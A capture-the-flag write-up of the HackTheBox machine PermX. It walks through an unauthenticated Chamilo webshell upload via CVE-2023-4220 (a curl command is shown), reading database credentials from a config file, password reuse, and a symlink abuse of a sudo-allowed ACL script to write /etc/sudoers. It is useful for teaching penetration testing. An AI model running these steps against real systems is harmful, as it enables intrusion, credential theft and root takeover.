Summary

PermX is an easy Linux HTB box and part of Season 5.

The machine runs Chamilo, a learning management system, on a virtual host on the web server, which is vulnerable to CVE-2023-4220.

This vulnerability can be exploited to allow unauthenticated file uploads, which can lead to gaining access as the www-data user through a webshell.

Another user, mtz, reuses the Chamilo MariaDB password found in a web configuration file.

With access as mtz, /opt/acl.sh, a script for changing ACLs on files in mtz’s home directory, can be executed with sudo privileges.

Although acl.sh has some restrictions to prevent changing ACLs outside the home directory, symlinks can be used to gain write permissions on critical files such as /etc/passwd, /etc/shadow, /etc/crontab, or /etc/sudoers, which enables privilege escalation to root.

Writeup

Information Gathering

We start by performing an all-port TCP version scan on the host, which reveals a web service and an SSH service.

┌──(user㉿kali)-[~/…/HTB/PermX/External/Scans]
└─$ sudo nmap -sV -T4 -v <taget-ip> -p- 
[sudo] password for user: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-08 09:38 WEST
<SNIP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Visiting the web server in our browser redirects us to permx.htb, which we add to our /etc/hosts file.

It looks like the site is for promoting an eLearning company.

The site's landing page.

The site's landing page.

From what we see, it seems to be a static website with no backend logic—just HTML files and placeholder features.

By fuzzing for other virtual hosts on the web server, we find lms.permx.htb and add it to our /etc/hosts as well. Given the theme of the main site, lms probably stands for Learning Management System.

Every invalid virtual host redirects to permx.htb, so we need to filter for the 302 status code to remove the noise.

┌──(user㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://<target-ip> -H 'Host: FUZZ.permx.htb' -fs 277

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://<target-ip>
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 277
________________________________________________

ftp                     [Status: 302, Size: 279, Words: 18, Lines: 10, Duration: 43ms]
ns4                     [Status: 302, Size: 279, Words: 18, Lines: 10, Duration: 43ms]
mail2                   [Status: 302, Size: 281, Words: 18, Lines: 10, Duration: 43ms]
test                    [Status: 302, Size: 280, Words: 18, Lines: 10, Duration: 44ms]
<SNIP>

┌──(user㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://<target-ip> -H 'Host: FUZZ.permx.htb' -fc 302       

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://<target-ip>
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 44ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 77ms]
:: Progress: [4989/4989] :: Job [1/1] :: 947 req/sec :: Duration: [0:00:06] :: Errors: 0 ::

When we check the new virtual host in our browser, we find it’s a login portal for Chamilo, which is an open-source Learning Management System.

`lms` virtual host with Chamilo.

`lms` virtual host with Chamilo.

Vulnerability Assessment

One of the first things to when discovering a web application is trying to footprint it’s exact version to check if known vulnerabilities for it can be found online. Sometimes, you can get README.md as leftover from the GitHub repository and get the version that way.

┌──(user㉿kali)-[~/…/HTB/PermX/External/Scans]
└─$ curl http://lms.permx.htb/README.md
# Chamilo 1.11.x

<SNIP>

We have a rough idea of the version we’re dealing with, which is a good start.

When searching for exploits for Chamilo 1.11.x, we first found CVE-2023-34960 and CVE-2023-3368. Both are unauthenticated remote command execution vulnerabilities that exploit a feature used for converting PowerPoint slides. CVE-2023-34960 initially identified the issue and was patched, but the exploit was still viable through a bypass detailed in CVE-2023-3368.

Unfortunately, this exploit didn’t work. By adjusting this PoC to check the request response on failure, we found that the vulnerable service needed for this exploit was disabled on this instance.

┌──(user㉿kali)-[/tmp]
└─$ python3 exploit.py -u http://lms.permx.htb -c 'whoami'
Remote PPT2PNG service is disabled. 
To enable, add $_configuration['webservice_remote_ppt2png_enable'] = true; to your configuration.php
An error has occured, URL is not vulnerable: http://lms.permx.htb

Next, we found another exploit for this Chamilo version: CVE-2023-4220. This vulnerability also allows unauthenticated remote command execution but through the big file upload feature, which lets you upload unrestricted files to the webserver and get a webshell.

Exploitation

I followed this guide on how to exploit the vulnerability and tried tried uploading a password-protected webshell named BRM.php.

┌──(user㉿kali)-[~/…/HTB/PermX/External/Tools]
└─$ curl -F '[email protected]' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'

After checking the upload directory at /main/inc/lib/javascript/bigupload/files, I confirmed that the exploit worked and my webshell was there.

Despite it claiming that this directory doesn’t exist by default, it was present on this system even after a box reset.

Listing upload directory, finding our webshell.

Listing upload directory, finding our webshell.

By accessing the webshell, we verify that we have arbitrary remote code execution as the www-data user. We can upgrade to a reverse shell by using a payload from the Reverse Shell Generator to establish a reverse shell, such as Python3 Shortest.

Accessing password-protected webshell.

Accessing password-protected webshell.

RCE as `www-data`.

RCE as `www-data`.

Privilege Escalation

User

After getting a shell as the webserver user, a good next step is to check the web root for configuration files that might contain secrets. Research shows that <chamilo-webroot>/app/config/configuration.php has the credentials for the MariaDB server used by Chamilo.

www-data@permx:/$ cat /var/www/chamilo/app/config/configuration.php | grep -B 5 db_password
// Database connection settings.
$_configuration['db_host'] = 'localhost';
$_configuration['db_port'] = '3306';
$_configuration['main_database'] = 'chamilo';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F<REDACTED>kW8';

With these credentials, we can query the database for stored user credentials, which are located in the users table inside the chamilo database.

www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ mysql -u chamilo -p
mysql -u chamilo -p
Enter password: 03F<REDACTED>kW8

<SNIP>

MariaDB [chamilo]> SELECT username, password FROM user;
SELECT username, password FROM user;
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra |
| anon     | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS |
+----------+--------------------------------------------------------------+

We retrieved Blowfish-hashed passwords for two users. Blowfish is a tough hashing algorithm to crack, and these users don’t seem important. Their names don’t match any OS users, and we already have command execution as the webserver user, so it might not be worth attempting to crack these passwords now.

Next, we check /etc/passwd and find that the only non-root user with a home directory is mtz. It’s always smart to try the lowest hainging fruits first, so let’s see if the database password is reused for mtz.

www-data@permx:/$ grep -E "*sh$" /etc/passwd
grep: warning: * at start of expression
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash
www-data@permx:/var/www/chamilo/app$ su mtz  
Password: 03F<REDACTED>kW8

mtz@permx:/var/www/chamilo/app$

Success! We now control the mtz user and have captured the user flag in their home directory.

Root

Checking mtz sudo rights, we see that it can run a bash script on /opt as root.

mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Taking a look at acl.sh, we can see that it’s a script for modifying ACL of files inside mtz’s home directory. It prevents directory traversal, ensuring we can’t change the ACL of any file we’re not supposed to.

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

Naturally, we want to modify the ACL of some important file to read/write to it and elevate our privileges. Unfortunately, the script limits the files we can modify to just the home directory, as there’s no way to bypass the directory traversal filter. Since there are no such important files in the home directory, it seems like we’re out of luck.

However, one thing we could do is create a symbolic link in the home directory that points to an important file elsewhere on the file system. Symbolic links are special types of files that act as pointers or shortcuts to other files or directories in a file system. This way, when the script runs as root, it will modify the ACLs of the symlink, which points to the outside file, effectively modifying its permissions.

There are a couple of easy ways to get root by modifying the ACL of some key files:

  • Read /etc/shadow and try cracking password hashes
  • Write to /etc/passwd and add a new root user
  • Edit /etc/shadow to change the root user’s password
  • Create a cronjob that will execute a payload as root
  • Edit /etc/sudoers to give our user unrestricted sudo rights

We’ll go with the last option as it’s, in my opinion, the least destructive one to attempt in a CTF box shared with other players.

After creating a symlink inside the home directory and using acl.sh to give the mtz user read, write, and execute rights over it, we can now append a line to /etc/sudoers that allows the mtz user to execute any command as root, which normally only root can write to.

mtz@permx:~$ ln -s /etc/sudoers /home/mtz/.brm/sudoers
mtz@permx:~$ sudo /opt/aclsudo /opt/acl.sh mtz rwx /home/mtz/.brm/sudoers
mtz@permx:~$ echo 'mtz ALL=(root) NOPASSWD: ALL' >> .brm/sudoers
mtz@permx:~$ sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh
    (root) NOPASSWD: ALL

From there, we can simply change our user to root and read the final flag.

mtz@permx:~$ sudo su
root@permx:/home/mtz# ls /root
backup  reset.sh  root.txt

That’s the box!

Post-Exploitation

There are two more interesting things about this box that I discovered.

First, there’s a reset.sh script located at /root that runs periodically to clean up after privilege escalation attempts. This script reverts the content of the files that can be used to gain root access and removes all symbolic links from the home directory. Twice during this process, my symlink disappeared between commands, making me think I was going crazy.

#!/bin/bash

/usr/bin/cp /root/backup/passwd /etc/passwd
/usr/bin/cp /root/backup/shadow /etc/shadow
/usr/bin/cp /root/backup/sudoers /etc/sudoers
/usr/bin/cp /root/backup/crontab /etc/crontab
/usr/bin/setfacl -b /root/root.txt /etc/passwd /etc/shadow /etc/crontab /etc/sudoers

/usr/bin/find /home/mtz -type l ! -name "user.txt" -mmin -3 -exec rm {} \;

The other interesting thing is that if you try to use the symbolic link trick to make the /root/root.txt flag readable to mtz instead of properly escalating privileges, you’ll find that it won’t work.

mtz@permx:~$ ln -s /root/root.txt /home/mtz/.brm/root.txt
mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/.brm/root.txt
setfacl: /home/mtz/.brm/root.txt: Operation not permitted

I’m not completely sure why this happens. It could be that the box was intentionally set up this way, or it might be related to the flag rotation system used on HackTheBox machines. Either way, I wasted a lot of time trying to make it work this way, and almost doubted that symlinks were the solution.